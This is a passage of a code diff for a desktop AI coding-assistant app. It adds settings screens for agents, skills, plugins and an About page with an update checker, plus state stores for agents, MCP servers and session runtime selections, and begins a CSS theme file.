+              const group = groupedAgents[source]
+              if (!group?.length) return null
+
+              const sourceLabel = t(`settings.agents.source.${source}`)
+              return (
+                <section
+                  key={source}
+                  className="rounded-2xl border border-[var(--color-border)] bg-[var(--color-surface)] overflow-hidden min-w-0"
+                >
+                  <div className="flex items-start justify-between gap-3 px-5 py-4 border-b border-[var(--color-border)] bg-[var(--color-surface-container-low)]">
+                    <div className="min-w-0">
+                      <div className="flex items-center gap-2 mb-1 flex-wrap">
+                        <span className={`inline-flex h-7 w-7 items-center justify-center rounded-full ${getAgentSourceAccentClass(source)}`}>
+                          <span className="material-symbols-outlined text-[16px]">
+                            {getAgentSourceIcon(source)}
+                          </span>
+                        </span>
+                        <h4 className="text-sm font-semibold text-[var(--color-text-primary)]">
+                          {sourceLabel}
+                        </h4>
+                        <span className="text-xs text-[var(--color-text-tertiary)]">
+                          {group.length}
+                        </span>
+                      </div>
+                      <p className="text-xs leading-5 text-[var(--color-text-tertiary)]">
+                        {t('settings.agents.groupHint', {
+                          source: sourceLabel,
+                          count: String(group.length),
+                        })}
+                      </p>
+                    </div>
+                  </div>
+
+                  <div className="flex flex-col p-2">
+                    {group.map((agent) => (
+                      <button
+                        key={`${agent.source}-${agent.agentType}`}
+                        onClick={() => selectAgent(agent, 'agents')}
+                        className="group rounded-xl border border-transparent px-3 py-3 text-left transition-all hover:border-[var(--color-border-focus)] hover:bg-[var(--color-surface-hover)] focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-[var(--color-brand)] focus-visible:ring-offset-2 focus-visible:ring-offset-[var(--color-surface)]"
+                      >
+                        <div className="flex items-start gap-3">
+                          <span
+                            className="mt-0.5 flex-shrink-0 inline-flex items-center justify-center"
+                            style={{ color: getAgentDotColor(agent.color) }}
+                          >
+                            <span className="material-symbols-outlined text-[18px]">smart_toy</span>
+                          </span>
+                          <div className="flex-1 min-w-0">
+                            <div className="flex items-center gap-2 flex-wrap">
+                              <span className="text-sm font-bold text-[var(--color-text-primary)] break-all">
+                                {agent.agentType}
+                              </span>
+                              {agent.modelDisplay && (
+                                <MetaPill>{agent.modelDisplay}</MetaPill>
+                              )}
+                              <MetaPill>{sourceLabel}</MetaPill>
+                              <MetaPill>
+                                {agent.isActive
+                                  ? t('settings.agents.status.active')
+                                  : t('settings.agents.status.available')}
+                              </MetaPill>
+                              {agent.overriddenBy && (
+                                <MetaPill>
+                                  {t('settings.agents.overriddenBy', {
+                                    source: t(`settings.agents.source.${agent.overriddenBy}`),
+                                  })}
+                                </MetaPill>
+                              )}
+                            </div>
+                            <div className="mt-1 text-xs leading-5 text-[var(--color-text-secondary)] break-words [&_.prose]:text-xs [&_.prose]:leading-5 [&_.prose]:text-[var(--color-text-secondary)]">
+                              <MarkdownRenderer
+                                content={agent.description || t('settings.agents.noDescription')}
+                              />
+                            </div>
+                            <div className="mt-2 flex flex-wrap items-center gap-x-3 gap-y-1 text-[11px] text-[var(--color-text-tertiary)]">
+                              <span>
+                                {agent.tools?.length
+                                  ? t('settings.agents.toolCount', { count: String(agent.tools.length) })
+                                  : t('settings.agents.noTools')}
+                              </span>
+                              {agent.baseDir && (
+                                <span className="break-all">{agent.baseDir}</span>
+                              )}
+                            </div>
+                          </div>
+                          <span className="material-symbols-outlined text-[18px] text-[var(--color-text-tertiary)] opacity-60 transition-transform group-hover:translate-x-0.5 group-hover:opacity-100">
+                            chevron_right
+                          </span>
+                        </div>
+                      </button>
+                    ))}
+                  </div>
+                </section>
+              )
+            })}
+          </div>
+        </div>
+      )}
+    </div>
+  )
+}
+
+function AgentDetailView({ agent, onBack }: { agent: AgentDefinition; onBack: () => void }) {
+  const t = useTranslation()
+  const sourceLabel = t(`settings.agents.source.${agent.source}`)
+
+  return (
+    <div className="flex h-full min-h-0 flex-col gap-4 min-w-0">
+      <div>
+        <button
+          onClick={onBack}
+          className="inline-flex items-center gap-1 rounded-lg px-2 py-1 text-sm text-[var(--color-text-secondary)] transition-colors hover:bg-[var(--color-surface-hover)] hover:text-[var(--color-text-primary)] focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-[var(--color-brand)]"
+        >
+          <span className="material-symbols-outlined text-[16px]">arrow_back</span>
+          {t('settings.agents.backToList')}
+        </button>
+      </div>
+
+      <section className="rounded-2xl border border-[var(--color-border)] bg-[var(--color-surface-container-low)] overflow-hidden">
+        <div className="grid gap-4 px-5 py-5 lg:grid-cols-[minmax(0,1.5fr)_minmax(280px,0.9fr)] lg:items-start">
+          <div className="min-w-0">
+            <div className="text-[11px] font-semibold uppercase tracking-[0.2em] text-[var(--color-text-tertiary)] mb-2">
+              {t('settings.agents.entryEyebrow')}
+            </div>
+            <div className="flex flex-wrap items-center gap-2 mb-2">
+              <span
+                className="h-3 w-3 rounded-full flex-shrink-0"
+                style={{ backgroundColor: getAgentDotColor(agent.color) }}
+              />
+              <h3 className="text-[22px] font-semibold leading-tight text-[var(--color-text-primary)] break-all">
+                {agent.agentType}
+              </h3>
+              <MetaPill>{sourceLabel}</MetaPill>
+              {agent.modelDisplay && <MetaPill>{agent.modelDisplay}</MetaPill>}
+              <MetaPill>
+                {agent.isActive
+                  ? t('settings.agents.status.active')
+                  : t('settings.agents.status.available')}
+              </MetaPill>
+              {agent.overriddenBy && (
+                <MetaPill>
+                  {t('settings.agents.overriddenByShort', {
+                    source: t(`settings.agents.source.${agent.overriddenBy}`),
+                  })}
+                </MetaPill>
+              )}
+            </div>
+            <div className="max-w-4xl text-sm leading-6 text-[var(--color-text-secondary)]">
+              <MarkdownRenderer
+                content={agent.description || t('settings.agents.noDescription')}
+              />
+            </div>
+            <div className="mt-3 flex flex-wrap gap-x-4 gap-y-2 text-xs text-[var(--color-text-tertiary)]">
+              <span>
+                {agent.tools?.length
+                  ? t('settings.agents.toolCount', { count: String(agent.tools.length) })
+                  : t('settings.agents.noTools')}
+              </span>
+              {agent.baseDir && <span className="break-all">{agent.baseDir}</span>}
+            </div>
+          </div>
+
+          <div className="grid grid-cols-2 gap-3 sm:grid-cols-4 lg:grid-cols-2">
+            <DetailStat
+              label={t('settings.agents.summary.source')}
+              value={sourceLabel}
+              icon="layers"
+            />
+            <DetailStat
+              label={t('settings.agents.summary.model')}
+              value={agent.modelDisplay || '—'}
+              icon="psychology"
+            />
+            <DetailStat
+              label={t('settings.agents.summary.tools')}
+              value={String(agent.tools?.length ?? 0)}
+              icon="build"
+            />
+            <DetailStat
+              label={t('settings.agents.summary.status')}
+              value={agent.isActive ? t('settings.agents.status.active') : t('settings.agents.status.available')}
+              icon="bolt"
+            />
+          </div>
+        </div>
+      </section>
+
+      {agent.tools && agent.tools.length > 0 && (
+        <section className="rounded-2xl border border-[var(--color-border)] bg-[var(--color-surface)] px-5 py-4">
+          <div className="flex items-center gap-2 mb-3">
+            <span className="material-symbols-outlined text-[18px] text-[var(--color-text-tertiary)]">
+              build
+            </span>
+            <h4 className="text-sm font-semibold text-[var(--color-text-primary)]">
+              {t('settings.agents.tools')}
+            </h4>
+          </div>
+          <div className="flex flex-wrap gap-2">
+            {agent.tools.map((tool) => (
+              <MetaPill key={tool}>{tool}</MetaPill>
+            ))}
+          </div>
+        </section>
+      )}
+
+      <section className="flex flex-1 min-h-0 min-w-0 overflow-hidden rounded-2xl border border-[var(--color-border)] bg-[var(--color-surface)]">
+        <div className="flex min-w-0 flex-1 flex-col overflow-hidden">
+          <div className="flex flex-wrap items-center justify-between gap-2 border-b border-[var(--color-border)] bg-[var(--color-surface-container-low)] px-4 py-3">
+            <div className="min-w-0">
+              <div className="flex items-center gap-2 flex-wrap">
+                <span className="text-xs font-mono text-[var(--color-text-secondary)] break-all">
+                  {agent.baseDir || sourceLabel}
+                </span>
+              </div>
+              <div className="mt-1 text-[11px] text-[var(--color-text-tertiary)]">
+                {t('settings.agents.promptHint')}
+              </div>
+            </div>
+            <div className="flex items-center gap-2">
+              <span className="rounded-full bg-[var(--color-surface)] px-2.5 py-1 text-[10px] font-semibold uppercase tracking-[0.12em] text-[var(--color-text-tertiary)] border border-[var(--color-border)]">
+                {t('settings.agents.systemPrompt')}
+              </span>
+            </div>
+          </div>
+
+          <div className="min-h-0 flex-1 overflow-y-auto bg-[var(--color-surface-container-lowest)]">
+            {agent.systemPrompt ? (
+              <div className="px-6 py-5 lg:px-8">
+                <MarkdownRenderer
+                  content={agent.systemPrompt}
+                  variant="document"
+                  className="mx-auto max-w-[72ch]"
+                />
+              </div>
+            ) : (
+              <div className="px-6 py-10 text-center">
+                <span className="material-symbols-outlined text-[32px] text-[var(--color-text-tertiary)] mb-2 block">
+                  article
+                </span>
+                <p className="text-sm text-[var(--color-text-tertiary)]">
+                  {t('settings.agents.noSystemPrompt')}
+                </p>
+              </div>
+            )}
+          </div>
+        </div>
+      </section>
+    </div>
+  )
+}
+
+function getAgentDotColor(color?: string) {
+  return color && AGENT_COLORS[color] ? AGENT_COLORS[color] : 'var(--color-text-tertiary)'
+}
+
+function getAgentSourceIcon(source: AgentSource) {
+  switch (source) {
+    case 'userSettings':
+      return 'person'
+    case 'projectSettings':
+      return 'folder'
+    case 'localSettings':
+      return 'folder_lock'
+    case 'policySettings':
+      return 'shield'
+    case 'plugin':
+      return 'extension'
+    case 'flagSettings':
+      return 'terminal'
+    case 'built-in':
+      return 'inventory_2'
+  }
+}
+
+function getAgentSourceAccentClass(source: AgentSource) {
+  switch (source) {
+    case 'userSettings':
+      return 'bg-[var(--color-primary-fixed)] text-[var(--color-brand)]'
+    case 'projectSettings':
+      return 'bg-[var(--color-success-container)] text-[var(--color-success)]'
+    case 'localSettings':
+      return 'bg-[var(--color-info-container)] text-[var(--color-info)]'
+    case 'policySettings':
+      return 'bg-[var(--color-warning-container)] text-[var(--color-warning)]'
+    case 'plugin':
+      return 'bg-[var(--color-warning-container)] text-[var(--color-warning)]'
+    case 'flagSettings':
+      return 'bg-[var(--color-error)]/10 text-[var(--color-error)]'
+    case 'built-in':
+      return 'bg-[var(--color-surface-container-high)] text-[var(--color-text-tertiary)]'
+  }
+}
+
+function MetaPill({ children }: { children: ReactNode }) {
+  return (
+    <span className="rounded-full border border-[var(--color-border)] bg-[var(--color-surface)] px-2.5 py-1 text-[10px] font-semibold uppercase tracking-[0.12em] text-[var(--color-text-tertiary)]">
+      {children}
+    </span>
+  )
+}
+
+function SummaryCard({
+  label,
+  value,
+  icon,
+  className = '',
+}: {
+  label: string
+  value: string
+  icon: string
+  className?: string
+}) {
+  return (
+    <div className={`rounded-xl border border-[var(--color-border)] bg-[var(--color-surface)] px-3 py-3 min-w-0 ${className}`}>
+      <div className="flex items-center gap-1.5 text-[11px] uppercase tracking-[0.12em] text-[var(--color-text-tertiary)] min-w-0">
+        <span className="material-symbols-outlined text-[14px] flex-shrink-0">{icon}</span>
+        <span className="truncate">{label}</span>
+      </div>
+      <div className="mt-2 text-lg font-semibold text-[var(--color-text-primary)] truncate">
+        {value}
+      </div>
+    </div>
+  )
+}
+
+function DetailStat({
+  label,
+  value,
+  icon,
+}: {
+  label: string
+  value: string
+  icon: string
+}) {
+  return (
+    <div className="rounded-xl border border-[var(--color-border)] bg-[var(--color-surface)] px-3 py-3">
+      <div className="flex items-center gap-2 text-[11px] uppercase tracking-[0.16em] text-[var(--color-text-tertiary)]">
+        <span className="material-symbols-outlined text-[14px]">{icon}</span>
+        <span>{label}</span>
+      </div>
+      <div className="mt-2 text-base font-semibold text-[var(--color-text-primary)] break-all">
+        {value}
+      </div>
+    </div>
+  )
+}
+// ─── Skill Settings ──────────────────────────────────────
+
+function SkillSettings() {
+  const selectedSkill = useSkillStore((s) => s.selectedSkill)
+  const t = useTranslation()
+
+  if (selectedSkill) {
+    return (
+      <div className="w-full min-w-0">
+        <SkillDetail />
+      </div>
+    )
+  }
+
+  return (
+    <div className="w-full min-w-0">
+      <h2 className="text-base font-semibold text-[var(--color-text-primary)] mb-1">
+        {t('settings.skills.title')}
+      </h2>
+      <p className="text-sm text-[var(--color-text-tertiary)] mb-4">
+        {t('settings.skills.description')}
+      </p>
+      <SkillList />
+    </div>
+  )
+}
+
+function PluginSettings() {
+  const selectedPlugin = usePluginStore((s) => s.selectedPlugin)
+  const t = useTranslation()
+
+  if (selectedPlugin) {
+    return (
+      <div className="w-full min-w-0">
+        <PluginDetail />
+      </div>
+    )
+  }
+
+  return (
+    <div className="w-full min-w-0">
+      <h2 className="text-base font-semibold text-[var(--color-text-primary)] mb-1">
+        {t('settings.plugins.title')}
+      </h2>
+      <p className="text-sm text-[var(--color-text-tertiary)] mb-4">
+        {t('settings.plugins.description')}
+      </p>
+      <PluginList />
+    </div>
+  )
+}
+
+// ─── About Settings ──────────────────────────────────────
+
+const SOCIAL_LINKS = [
+  { name: 'Bilibili', icon: '/icons/bilibili.svg', url: 'https://space.bilibili.com/434377496', label: '程序员阿江-Relakkes' },
+  { name: 'Douyin', icon: '/icons/douyin.svg', url: 'https://www.douyin.com/user/MS4wLjABAAAATJPY7LAlaa5X-c8uNdWkvz0jUGgpw4eeXIwu_8BhvqE', label: '程序员阿江-Relakkes' },
+  { name: 'Xiaohongshu', icon: '/icons/xiaohongshu.svg', url: 'https://www.xiaohongshu.com/user/profile/5f58bd990000000001003753', label: '程序员阿江-Relakkes' },
+] as const
+
+function AboutSettings() {
+  const t = useTranslation()
+  const [version, setVersion] = useState('')
+  const updateStatus = useUpdateStore((s) => s.status)
+  const availableVersion = useUpdateStore((s) => s.availableVersion)
+  const releaseNotes = useUpdateStore((s) => s.releaseNotes)
+  const progressPercent = useUpdateStore((s) => s.progressPercent)
+  const downloadedBytes = useUpdateStore((s) => s.downloadedBytes)
+  const totalBytes = useUpdateStore((s) => s.totalBytes)
+  const error = useUpdateStore((s) => s.error)
+  const checkedAt = useUpdateStore((s) => s.checkedAt)
+  const checkForUpdates = useUpdateStore((s) => s.checkForUpdates)
+  const installUpdate = useUpdateStore((s) => s.installUpdate)
+  const initialize = useUpdateStore((s) => s.initialize)
+
+  useEffect(() => {
+    let cancelled = false
+
+    import('@tauri-apps/api/app')
+      .then((mod) => mod.getVersion())
+      .then((value) => {
+        if (!cancelled) setVersion(value)
+      })
+      .catch(() => {
+        if (!cancelled) setVersion('0.1.0')
+      })
+
+    return () => {
+      cancelled = true
+    }
+  }, [])
+
+  useEffect(() => {
+    void initialize()
+  }, [initialize])
+
+  const openUrl = (url: string) => {
+    import('@tauri-apps/plugin-shell').then((mod) => mod.open(url)).catch(() => window.open(url, '_blank'))
+  }
+
+  const checkedAtText =
+    checkedAt
+      ? new Date(checkedAt).toLocaleString(undefined, {
+          hour: '2-digit',
+          minute: '2-digit',
+          month: 'short',
+          day: 'numeric',
+        })
+      : null
+
+  const hasKnownProgress = typeof totalBytes === 'number' && totalBytes > 0
+  const downloadedText = formatBytes(downloadedBytes)
+  const updateDescription =
+    updateStatus === 'checking'
+      ? t('update.checking')
+      : updateStatus === 'downloading'
+        ? hasKnownProgress
+          ? t('update.progress', { progress: String(progressPercent) })
+          : t('update.progressBytes', { downloaded: downloadedText })
+        : updateStatus === 'restarting'
+          ? t('update.restarting')
+          : updateStatus === 'available' && availableVersion
+            ? t('update.newVersion', { version: availableVersion })
+            : updateStatus === 'up-to-date'
+              ? t('update.upToDate', { version: version || t('update.currentVersionUnknown') })
+              : error
+                ? t('update.failed', { error })
+                : t('update.idle')
+
+  return (
+    <div className="w-full min-w-0 max-w-lg mx-auto flex flex-col items-center py-6">
+      {/* Logo + App Name + Version */}
+      <img src="/app-icon.png" alt="Claude Code Haha" className="w-20 h-20 mb-4" />
+      <h1 className="text-xl font-bold text-[var(--color-text-primary)]">Claude Code Haha</h1>
+      {version && (
+        <div className="mt-1 flex items-center gap-2 text-xs text-[var(--color-text-tertiary)]">
+          <span>{t('settings.about.version')} {version}</span>
+        </div>
+      )}
+
+      <div className="mt-4 w-full rounded-xl border border-[var(--color-border)] bg-[var(--color-surface-container-low)] p-4">
+        <div className="flex items-start justify-between gap-3">
+          <div>
+            <div className="text-sm font-medium text-[var(--color-text-primary)]">{t('settings.about.updates')}</div>
+            <div className="text-xs text-[var(--color-text-tertiary)] mt-1">
+              {t('settings.about.updatesDesc')}
+            </div>
+          </div>
+          <Button
+            size="sm"
+            variant="secondary"
+            onClick={() => void checkForUpdates()}
+            loading={updateStatus === 'checking'}
+          >
+            {t('update.checkNow')}
+          </Button>
+        </div>
+
+        <div className="mt-4 rounded-lg border border-[var(--color-border)] bg-[var(--color-surface)] px-3 py-3">
+          <div className="flex items-center justify-between gap-3">
+            <div>
+              <div className="text-xs uppercase tracking-[0.14em] text-[var(--color-text-tertiary)]">
+                {t('settings.about.version')}
+              </div>
+              <div className="text-sm font-medium text-[var(--color-text-primary)] mt-1">
+                {version || t('update.currentVersionUnknown')}
+              </div>
+            </div>
+
+            {availableVersion && (
+              <div className="text-right">
+                <div className="text-xs uppercase tracking-[0.14em] text-[var(--color-text-tertiary)]">
+                  {t('update.availableLabel')}
+                </div>
+                <div className="text-sm font-medium text-[var(--color-text-primary)] mt-1">
+                  {availableVersion}
+                </div>
+              </div>
+            )}
+          </div>
+
+          <p className={`mt-3 text-sm ${error ? 'text-[var(--color-error)]' : 'text-[var(--color-text-secondary)]'}`}>
+            {updateDescription}
+          </p>
+
+          {checkedAtText && (
+            <p className="mt-1 text-xs text-[var(--color-text-tertiary)]">
+              {t('update.checkedAt', { time: checkedAtText })}
+            </p>
+          )}
+
+          {(updateStatus === 'downloading' || updateStatus === 'restarting') && (
+            <div className="mt-3">
+              <div className="h-1.5 bg-[var(--color-surface-container-low)] rounded-full overflow-hidden">
+                {hasKnownProgress || updateStatus === 'restarting' ? (
+                  <div
+                    className="h-full bg-[var(--color-text-accent)] transition-all duration-300"
+                    style={{ width: `${Math.min(progressPercent, 100)}%` }}
+                  />
+                ) : (
+                  <div className="h-full w-1/3 rounded-full bg-[var(--color-text-accent)]/75 animate-pulse" />
+                )}
+              </div>
+              {!hasKnownProgress && updateStatus === 'downloading' && downloadedBytes > 0 && (
+                <p className="mt-1 text-xs text-[var(--color-text-tertiary)]">
+                  {downloadedText}
+                </p>
+              )}
+            </div>
+          )}
+
+          {releaseNotes && availableVersion && (
+            <div className="mt-3 rounded-lg bg-[var(--color-surface-container-low)] px-3 py-3">
+              <div className="text-[11px] uppercase tracking-[0.14em] text-[var(--color-text-tertiary)]">
+                {t('update.releaseNotes')}
+              </div>
+              <MarkdownRenderer
+                content={releaseNotes}
+                variant="document"
+                className="mt-2 text-[13px] leading-6 text-[var(--color-text-secondary)] [&_h1]:text-lg [&_h2]:text-base [&_h3]:text-sm [&_p]:text-[13px] [&_p]:leading-6"
+              />
+            </div>
+          )}
+
+          {availableVersion && (
+            <div className="mt-3 flex justify-end">
+              <Button
+                size="sm"
+                onClick={() => void installUpdate()}
+                loading={updateStatus === 'downloading' || updateStatus === 'restarting'}
+                disabled={updateStatus === 'checking'}
+              >
+                {updateStatus === 'restarting' ? t('update.restarting') : t('update.now')}
+              </Button>
+            </div>
+          )}
+        </div>
+      </div>
+
+      {/* Divider */}
+      <div className="w-full border-t border-[var(--color-border)]/40 my-6" />
+
+      {/* Social Media */}
+      <div className="w-full mt-4">
+        <h3 className="text-xs font-medium text-[var(--color-text-tertiary)] uppercase tracking-wider mb-3">{t('settings.about.socialMedia')}</h3>
+        <div className="flex flex-col gap-0.5">
+          {SOCIAL_LINKS.map((link) => (
+            <button
+              key={link.name}
+              onClick={() => openUrl(link.url)}
+              className="w-full flex items-center gap-3 px-4 py-2.5 rounded-lg hover:bg-[var(--color-surface-hover)] transition-colors cursor-pointer"
+            >
+              <img src={link.icon} alt={link.name} className="w-4 h-4 opacity-60" />
+              <span className="text-sm text-[var(--color-text-primary)]">{link.label}</span>
+              <span className="text-xs text-[var(--color-text-tertiary)] ml-auto">{link.name}</span>
+            </button>
+          ))}
+        </div>
+      </div>
+
+    </div>
+  )
+}
diff --git a/cc-haha/desktop/src/stores/agentStore.ts b/cc-haha/desktop/src/stores/agentStore.ts
new file mode 100644
index 0000000..580bda1
--- /dev/null
+++ b/cc-haha/desktop/src/stores/agentStore.ts
@@ -0,0 +1,45 @@
+import { create } from 'zustand'
+import { agentsApi, type AgentDefinition } from '../api/agents'
+
+export type AgentDetailReturnTab = 'agents' | 'plugins'
+
+type AgentStore = {
+  activeAgents: AgentDefinition[]
+  allAgents: AgentDefinition[]
+  isLoading: boolean
+  error: string | null
+  selectedAgent: AgentDefinition | null
+  selectedAgentReturnTab: AgentDetailReturnTab
+
+  fetchAgents: (cwd?: string) => Promise<void>
+  selectAgent: (
+    agent: AgentDefinition | null,
+    returnTab?: AgentDetailReturnTab,
+  ) => void
+}
+
+export const useAgentStore = create<AgentStore>((set) => ({
+  activeAgents: [],
+  allAgents: [],
+  isLoading: false,
+  error: null,
+  selectedAgent: null,
+  selectedAgentReturnTab: 'agents',
+
+  fetchAgents: async (cwd) => {
+    set({ isLoading: true, error: null })
+    try {
+      const { activeAgents, allAgents } = await agentsApi.list(cwd)
+      set({ activeAgents, allAgents, isLoading: false })
+    } catch (error) {
+      const message = error instanceof Error ? error.message : 'Failed to load agents'
+      set({ isLoading: false, error: message })
+    }
+  },
+
+  selectAgent: (agent, returnTab = 'agents') =>
+    set({
+      selectedAgent: agent,
+      selectedAgentReturnTab: agent ? returnTab : 'agents',
+    }),
+}))
diff --git a/cc-haha/desktop/src/stores/mcpStore.ts b/cc-haha/desktop/src/stores/mcpStore.ts
new file mode 100644
index 0000000..905848f
--- /dev/null
+++ b/cc-haha/desktop/src/stores/mcpStore.ts
@@ -0,0 +1,169 @@
+import { create } from 'zustand'
+import { mcpApi } from '../api/mcp'
+import type { McpServerRecord, McpUpsertPayload } from '../types/mcp'
+
+type McpStore = {
+  servers: McpServerRecord[]
+  selectedServer: McpServerRecord | null
+  isLoading: boolean
+  error: string | null
+  fetchServers: (projectPaths?: string[], fallbackCwd?: string) => Promise<void>
+  createServer: (name: string, payload: McpUpsertPayload, cwd?: string) => Promise<McpServerRecord>
+  updateServer: (server: McpServerRecord, payload: McpUpsertPayload, cwd?: string) => Promise<McpServerRecord>
+  deleteServer: (server: McpServerRecord, cwd?: string) => Promise<void>
+  toggleServer: (server: McpServerRecord, cwd?: string) => Promise<McpServerRecord>
+  reconnectServer: (server: McpServerRecord, cwd?: string) => Promise<McpServerRecord>
+  refreshServerStatus: (server: McpServerRecord, cwd?: string) => Promise<McpServerRecord>
+  selectServer: (server: McpServerRecord | null) => void
+}
+
+function isProjectScoped(server: Pick<McpServerRecord, 'scope'>) {
+  return server.scope === 'local' || server.scope === 'project'
+}
+
+function attachProjectPath(server: McpServerRecord, cwd?: string) {
+  if (!isProjectScoped(server)) {
+    return {
+      ...server,
+      projectPath: undefined,
+    }
+  }
+
+  return {
+    ...server,
+    projectPath: cwd ?? server.projectPath,
+  }
+}
+
+function isSameServer(a: Pick<McpServerRecord, 'name' | 'scope' | 'projectPath'>, b: Pick<McpServerRecord, 'name' | 'scope' | 'projectPath'>) {
+  if (a.name !== b.name || a.scope !== b.scope) return false
+  if (!isProjectScoped(a) && !isProjectScoped(b)) return true
+  return (a.projectPath ?? '') === (b.projectPath ?? '')
+}
+
+function replaceServer(
+  servers: McpServerRecord[],
+  previous: Pick<McpServerRecord, 'name' | 'scope' | 'projectPath'>,
+  next: McpServerRecord,
+  cwd?: string,
+) {
+  const normalizedNext = attachProjectPath(next, cwd)
+  const index = servers.findIndex((item) => isSameServer(item, previous))
+  if (index === -1) return [...servers, normalizedNext]
+
+  return servers.map((item, itemIndex) => (itemIndex === index ? normalizedNext : item))
+}
+
+export const useMcpStore = create<McpStore>((set) => ({
+  servers: [],
+  selectedServer: null,
+  isLoading: false,
+  error: null,
+
+  fetchServers: async (projectPaths, fallbackCwd) => {
+    set({ isLoading: true, error: null })
+    try {
+      const normalizedPaths = Array.from(new Set((projectPaths ?? []).filter(Boolean)))
+      const contexts = normalizedPaths.length > 0 ? normalizedPaths : [fallbackCwd].filter(Boolean)
+
+      const responses = await Promise.all(
+        (contexts.length > 0 ? contexts : [undefined]).map(async (cwd) => {
+          const response = await mcpApi.list(cwd)
+          return response.servers.map((server) => ({
+            ...server,
+            projectPath: server.scope === 'local' || server.scope === 'project' ? cwd : undefined,
+          }))
+        }),
+      )
+
+      const deduped = new Map<string, McpServerRecord>()
+      for (const group of responses) {
+        for (const server of group) {
+          const key =
+            server.scope === 'local' || server.scope === 'project'
+              ? `${server.scope}:${server.projectPath}:${server.name}`
+              : `${server.scope}:${server.name}`
+          if (!deduped.has(key)) {
+            deduped.set(key, server)
+          }
+        }
+      }
+
+      set({ servers: [...deduped.values()], isLoading: false })
+    } catch (error) {
+      set({
+        isLoading: false,
+        error: error instanceof Error ? error.message : 'Failed to load MCP servers',
+      })
+    }
+  },
+
+  createServer: async (name, payload, cwd) => {
+    const response = await mcpApi.create(name, payload, cwd)
+    const created = attachProjectPath(response.server, cwd)
+    set((state) => ({
+      servers: [...state.servers, created],
+      selectedServer: created,
+      error: null,
+    }))
+    return created
+  },
+
+  updateServer: async (server, payload, cwd) => {
+    const response = await mcpApi.update(server.name, payload, cwd)
+    const updated = attachProjectPath(response.server, cwd ?? server.projectPath)
+    set((state) => ({
+      servers: replaceServer(state.servers, server, updated, cwd ?? server.projectPath),
+      selectedServer: state.selectedServer && isSameServer(state.selectedServer, server) ? updated : state.selectedServer,
+      error: null,
+    }))
+    return updated
+  },
+
+  deleteServer: async (server, cwd) => {
+    await mcpApi.remove(server.name, server.scope, cwd)
+    set((state) => ({
+      servers: state.servers.filter((item) => !isSameServer(item, server)),
+      selectedServer:
+        state.selectedServer && isSameServer(state.selectedServer, server)
+          ? null
+          : state.selectedServer,
+      error: null,
+    }))
+  },
+
+  toggleServer: async (server, cwd) => {
+    const response = await mcpApi.toggle(server.name, cwd)
+    const updated = attachProjectPath(response.server, cwd ?? server.projectPath)
+    set((state) => ({
+      servers: replaceServer(state.servers, server, updated, cwd ?? server.projectPath),
+      selectedServer: state.selectedServer && isSameServer(state.selectedServer, server) ? updated : state.selectedServer,
+      error: null,
+    }))
+    return updated
+  },
+
+  reconnectServer: async (server, cwd) => {
+    const response = await mcpApi.reconnect(server.name, cwd)
+    const updated = attachProjectPath(response.server, cwd ?? server.projectPath)
+    set((state) => ({
+      servers: replaceServer(state.servers, server, updated, cwd ?? server.projectPath),
+      selectedServer: state.selectedServer && isSameServer(state.selectedServer, server) ? updated : state.selectedServer,
+      error: null,
+    }))
+    return updated
+  },
+
+  refreshServerStatus: async (server, cwd) => {
+    const response = await mcpApi.status(server.name, cwd)
+    const updated = attachProjectPath(response.server, cwd ?? server.projectPath)
+    set((state) => ({
+      servers: replaceServer(state.servers, server, updated, cwd ?? server.projectPath),
+      selectedServer: state.selectedServer && isSameServer(state.selectedServer, server) ? updated : state.selectedServer,
+      error: null,
+    }))
+    return updated
+  },
+
+  selectServer: (server) => set({ selectedServer: server }),
+}))
diff --git a/cc-haha/desktop/src/stores/sessionRuntimeStore.ts b/cc-haha/desktop/src/stores/sessionRuntimeStore.ts
new file mode 100644
index 0000000..0a0baee
--- /dev/null
+++ b/cc-haha/desktop/src/stores/sessionRuntimeStore.ts
@@ -0,0 +1,69 @@
+import { create } from 'zustand'
+import type { RuntimeSelection } from '../types/runtime'
+
+const STORAGE_KEY = 'cc-haha-session-runtime'
+
+export const DRAFT_RUNTIME_SELECTION_KEY = '__draft__'
+
+type SessionRuntimeStore = {
+  selections: Record<string, RuntimeSelection>
+  setSelection: (key: string, selection: RuntimeSelection) => void
+  clearSelection: (key: string) => void
+  moveSelection: (fromKey: string, toKey: string) => void
+}
+
+function loadSelections(): Record<string, RuntimeSelection> {
+  if (typeof localStorage === 'undefined') return {}
+  try {
+    const raw = localStorage.getItem(STORAGE_KEY)
+    if (!raw) return {}
+    const parsed = JSON.parse(raw) as Record<string, RuntimeSelection>
+    return parsed && typeof parsed === 'object' ? parsed : {}
+  } catch {
+    return {}
+  }
+}
+
+function persistSelections(selections: Record<string, RuntimeSelection>) {
+  if (typeof localStorage === 'undefined') return
+  try {
+    localStorage.setItem(STORAGE_KEY, JSON.stringify(selections))
+  } catch {
+    // noop
+  }
+}
+
+export const useSessionRuntimeStore = create<SessionRuntimeStore>((set) => ({
+  selections: loadSelections(),
+
+  setSelection: (key, selection) =>
+    set((state) => {
+      const selections = {
+        ...state.selections,
+        [key]: selection,
+      }
+      persistSelections(selections)
+      return { selections }
+    }),
+
+  clearSelection: (key) =>
+    set((state) => {
+      if (!(key in state.selections)) return state
+      const { [key]: _removed, ...rest } = state.selections
+      persistSelections(rest)
+      return { selections: rest }
+    }),
+
+  moveSelection: (fromKey, toKey) =>
+    set((state) => {
+      const selection = state.selections[fromKey]
+      if (!selection) return state
+      const { [fromKey]: _removed, ...rest } = state.selections
+      const selections = {
+        ...rest,
+        [toKey]: selection,
+      }
+      persistSelections(selections)
+      return { selections }
+    }),
+}))
diff --git a/cc-haha/desktop/src/theme/globals.css b/cc-haha/desktop/src/theme/globals.css
new file mode 100644
index 0000000..f73540e
--- /dev/null
+++ b/cc-haha/desktop/src/theme/globals.css
@@ -0,0 +1,684 @@
+@import "tailwindcss";
+@import "@xterm/xterm/css/xterm.css";
+@plugin "@tailwindcss/typography";
+
+/* ─── Self-hosted fonts (no Google CDN dependency) ────────────── */
+
+/* Inter – variable weight 400-600, latin */
+@font-face {
+  font-family: 'Inter';
+  font-style: normal;
+  font-weight: 400 600;
+  font-display: swap;
+  src: url('/fonts/inter-latin.woff2') format('woff2');
+  unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+0304, U+0308, U+0329, U+2000-206F, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD;
+}
+@font-face {
